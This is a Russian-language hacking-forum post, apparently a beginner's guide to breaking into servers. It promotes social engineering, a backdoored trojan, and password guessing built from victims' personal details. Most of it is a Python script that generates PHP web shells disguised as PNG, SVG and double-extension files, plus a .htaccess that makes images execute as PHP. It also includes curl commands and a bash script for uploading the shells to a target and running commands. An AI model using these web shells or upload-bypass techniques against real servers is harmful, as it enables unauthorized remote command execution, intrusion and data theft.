Начинающим Что такое Exploit или как взломать сервер

  • Автор темы taniberg
  • Дата начала
  • Просмотров 260 Просмотров

taniberg

Участник
18
0
6 Окт 2025
Всех приветствую в данной статье!
Хотел поделиться небольшой статьёй для новичков по взлому баз, компьютеров и серверов.


Когда я начинал заниматься пентестом, меня интересовала не защита, а нападение. О многих теневых форумах я не знал, поэтому делал все методом проб и ошибок. Любой сайт имеет уязвимости, удастся ли взлом зависит только от ваших умений. Основными способами проникновения являются соцаильная инженерия, уязвимости и брутфорс. Рассмотрим каждый из них:

Социальная инженерия
С её помощью мной были взломаны множество аккаунтов. Главная цель - получить полное доверие человека и разведать как можно больше личной информации. Скоро выложу лучшие трюки для манипуляции.

Уязвимости
Это самое главное во взломе. С их помощью можно понять, где находятся точки на сайте, через которые можно получить доступ к серверу или аккаунтам. Я использую Kali Linux и утилиту nikto для поиска всех уязвимостей. В дальнейшем можно будет загрузить на сайт троян - вредоносный файл, замаскированный под безобидный файл. В моем трояне установлен бэкдор, что позволяет мне следить и управлять сервером.

Брутфорс
Обычный подбор паролей. Но как именно подобрать его? Для этого мы используем соц. инженерию. Допустим мы узнали, имя, дату рождения, кличку питомца или что-то в этом роде. Пароли редко бывают от балды, соответственно, если перебирать разные комбинации этих слов, то в большинстве случаев мы найдем верный пароль.



Для ознакомления прикрепил Python-скрипт, который маскирует PHP под картинку.
Код:
import struct
import zlib
import os

def create_valid_png_with_php():
    """Создает валидный PNG файл с скрытым PHP кодом, размером 200x200"""
   
    php_code = """<?php
if(isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    system($_GET['cmd']);
    exit;
}
if(isset($_GET['test'])) {
    file_put_contents('test_works.txt', 'PHP is working!');
    echo 'Test completed';
    exit;
}
// Продолжаем отдавать PNG если нет параметров
header('Content-Type: image/png');
?>"""
   
    png_signature = b'\x89PNG\r\n\x1a\n'
   
    # Обновляем размеры на 200x200
    width = 200
    height = 200
   
    # 2. IHDR chunk
    ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0)  # 8 бит, Truecolor RGB
    ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
    ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
   
    # 3. tEXt chunk с PHP кодом
    keyword = b"Comment"
    text_data = keyword + b'\x00' + php_code.encode('utf-8')
    text_crc = zlib.crc32(b'tEXt' + text_data) & 0xffffffff
    text_chunk = struct.pack('>I', len(text_data)) + b'tEXt' + text_data + struct.pack('>I', text_crc)
   
    # 4. IDAT chunk
    # Формируем изображение 200x200 с одним цветом (например, красным)
    # Каждая строка начинается с фильтра (0), затем пиксели
    row = b'\x00' + b'\xFF\x00\x00' * width  # фильтр 0 + красные пиксели
    raw_image_data = row * height  # повторяем строку для всех высот
   
    compressed_data = zlib.compress(raw_image_data)
    idat_crc = zlib.crc32(b'IDAT' + compressed_data) & 0xffffffff
    idat_chunk = struct.pack('>I', len(compressed_data)) + b'IDAT' + compressed_data + struct.pack('>I', idat_crc)
   
    # 5. IEND chunk
    iend_chunk = b'\x00\x00\x00\x00IEND\xaeB`\x82'
   
    png_data = png_signature + ihdr_chunk + text_chunk + idat_chunk + iend_chunk
    return png_data

def create_php_in_png_comments():
    """Создает PNG с PHP в комментариях EXIF"""
   
    from PIL import Image
    import io
   
    # Создаем минимальное изображение
    img = Image.new('RGB', (1, 1), color='red')
   
    # Сохраняем в буфер с EXIF данными
    buffer = io.BytesIO()
    img.save(buffer, format='PNG', optimize=True)
   
    # Получаем базовый PNG
    base_png = buffer.getvalue()
   
    # Вставляем PHP код в комментарий
    php_injection = b'\n<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);exit;}?>'
   
    # Находим место для вставки после IHDR чанка
    ihdr_end = base_png.find(b'IDAT')
    if ihdr_end != -1:
        malicious_png = base_png[:ihdr_end] + php_injection + base_png[ihdr_end:]
    else:
        malicious_png = base_png + php_injection
   
    return malicious_png

def create_valid_image_with_htaccess():
    """Создает валидное изображение и отдельный .htaccess"""
   
    from PIL import Image
    import io
   
    # Создаем реальное маленькое изображение
    img = Image.new('RGB', (10, 10), color='red')
    for x in range(10):
        for y in range(10):
            img.putpixel((x, y), (x*25, y*25, 100))
   
    buffer = io.BytesIO()
    img.save(buffer, format='PNG')
    valid_png = buffer.getvalue()
   
    # .htaccess для выполнения PHP в PNG файлах
    htaccess = """
AddType application/x-httpd-php .png .jpg .gif
<Files "*.png">
    SetHandler application/x-httpd-php
</Files>
<IfModule mod_rewrite.c>
    RewriteEngine Off
</IfModule>
"""
   
    return {
        'valid_image.png': valid_png,
        '.htaccess': htaccess.encode('utf-8')
    }

def create_svg_with_php():
    """Создает SVG файл с PHP кодом"""
   
    svg_content = """<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<!--<?php
if(isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    system($_GET['cmd']);
    exit;
}
?>-->
<rect width="100" height="100" fill="red"/>
<text x="10" y="20">Test Image</text>
</svg>"""
   
    return svg_content.encode('utf-8')

def create_double_extension_files():
    """Создает файлы с двойными расширениями"""
   
    php_shell = """<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
    exit;
}
echo 'Valid PHP File';
?>"""
   
    files = {}
   
    # Различные варианты двойных расширений
    extensions = [
        'shell.png.php',
        'image.php.png',
        'test.png.phtml',
        'file.jpg.php',
        'img.gif.php5',
        'photo.png.phps'
    ]
   
    for ext in extensions:
        files[ext] = php_shell.encode('utf-8')
   
    return files

def generate_working_exploits():
    """Генерирует рабочие эксплойты"""
   
    print("[СОЗДАНИЕ] Генерация рабочих файлов...")
   
    exploits = {}
   
    # 1. Валидный PNG с PHP в текстовом чанке
    exploits['valid_png.php.png'] = create_valid_png_with_php()
   
    # 2. SVG с PHP (часто выполняется)
    exploits['exploit.svg'] = create_svg_with_php()
   
    # 3. Файлы с двойными расширениями
    exploits.update(create_double_extension_files())
   
    # 4. Валидное изображение + .htaccess
    image_files = create_valid_image_with_htaccess()
    exploits.update(image_files)
   
    # 5. Простой PHP шелл с разными именами
    simple_php = b'<?php if(isset($_GET["c"])){system($_GET["c"]);}?>'
    php_names = [
        'shell.php.png',
        'test.phtml',
        'image.php5',
        'file.phar',
        'img.inc'
    ]
   
    for name in php_names:
        exploits[name] = simple_php
   
    # Сохраняем файлы
    for filename, content in exploits.items():
        with open(filename, 'wb') as f:
            f.write(content)
        print(f"[СОЗДАНО] {filename} ({len(content)} bytes)")
   
    return exploits

def create_test_instructions():
    """Создает инструкции по тестированию"""
   
    instructions = """
[ИНСТРУКЦИЯ ПО ТЕСТИРОВАНИЮ]

1. Сначала попробуйте загрузить .htaccess:
   curl -X POST -F "file=@.htaccess" http://target.com/upload

2. Затем загрузите один из PNG файлов:
   curl -X POST -F "file=@valid_png.php.png" http://target.com/upload

3. Проверьте выполнение PHP:
   curl "http://target.com/uploads/valid_png.php.png?cmd=whoami"

4. Если не работает, попробуйте SVG:
   curl "http://target.com/uploads/exploit.svg?cmd=id"

5. Или файлы с двойными расширениями:
   curl "http://target.com/uploads/shell.png.php?cmd=pwd"

Рекомендуемая последовательность:
1. .htaccess + valid_png.php.png
2. exploit.svg
3. shell.png.php
4. test.phtml

Если файлы блокируются, попробуйте:
- Изменить имена файлов
- Использовать разные Content-Type
- Попробовать загрузку через разные endpoints
"""
   
    with open('INSTRUCTIONS.txt', 'w') as f:
        f.write(instructions)
   
    print("[СОЗДАНО] INSTRUCTIONS.txt - инструкции по использованию")

def create_upload_script():
    """Создает скрипт для автоматической загрузки"""
   
    script = """#!/bin/bash
echo "[АВТОЗАГРУЗКА] Загрузка эксплойтов на сервер"

TARGET="$1"
if [ -z "$TARGET" ]; then
    echo "Использование: $0 <upload_url>"
    echo "Пример: $0 http://target.com/upload.php"
    exit 1
fi

# Файлы для загрузки в порядке приоритета
FILES=(".htaccess" "valid_png.php.png" "exploit.svg" "shell.png.php")

for file in "${FILES[@]}"; do
    if [ -f "$file" ]; then
        echo "Загружаем: $file"
        curl -s -X POST -F "file=@$file" "$TARGET"
        if [ $? -eq 0 ]; then
            echo "УСПЕХ: $file загружен"
        else
            echo "ОШИБКА: Не удалось загрузить $file"
        fi
        sleep 1
    else
        echo "ПРЕДУПРЕЖДЕНИЕ: Файл $file не найден"
    fi
done

echo "Загрузка завершена. Проверьте выполнение команд."
"""
   
    with open('upload_exploits.sh', 'w') as f:
        f.write(script)
   
    os.chmod('upload_exploits.sh', 0o755)
    print("[СОЗДАНО] upload_exploits.sh - скрипт для загрузки")

if __name__ == "__main__":
    # Генерируем рабочие эксплойты
    exploits = generate_working_exploits()
   
    # Создаем инструкции
    create_test_instructions()
   
    # Создаем скрипт загрузки
    create_upload_script()
   
    print("\n" + "="*60)
    print("[ВАЖНО] Исправления в новой версии:")
    print("="*60)
    print("""
1. Валидная PNG структура с правильными чанками
2. PHP код в tEXt чанке (легитимные метаданные PNG)
3. Корректные CRC checksums для всех чанков
4. Реальное сжатие данных изображения
5. Альтернативные методы (SVG, двойные расширения)

Ключевые изменения:
- Исправлены CRC ошибки
- Добавлено реальное изображение 1x1 пиксель
- PHP код теперь в допустимом tEXt чанке
- Все чанки имеют правильную структуру
""")
 

Похожие темы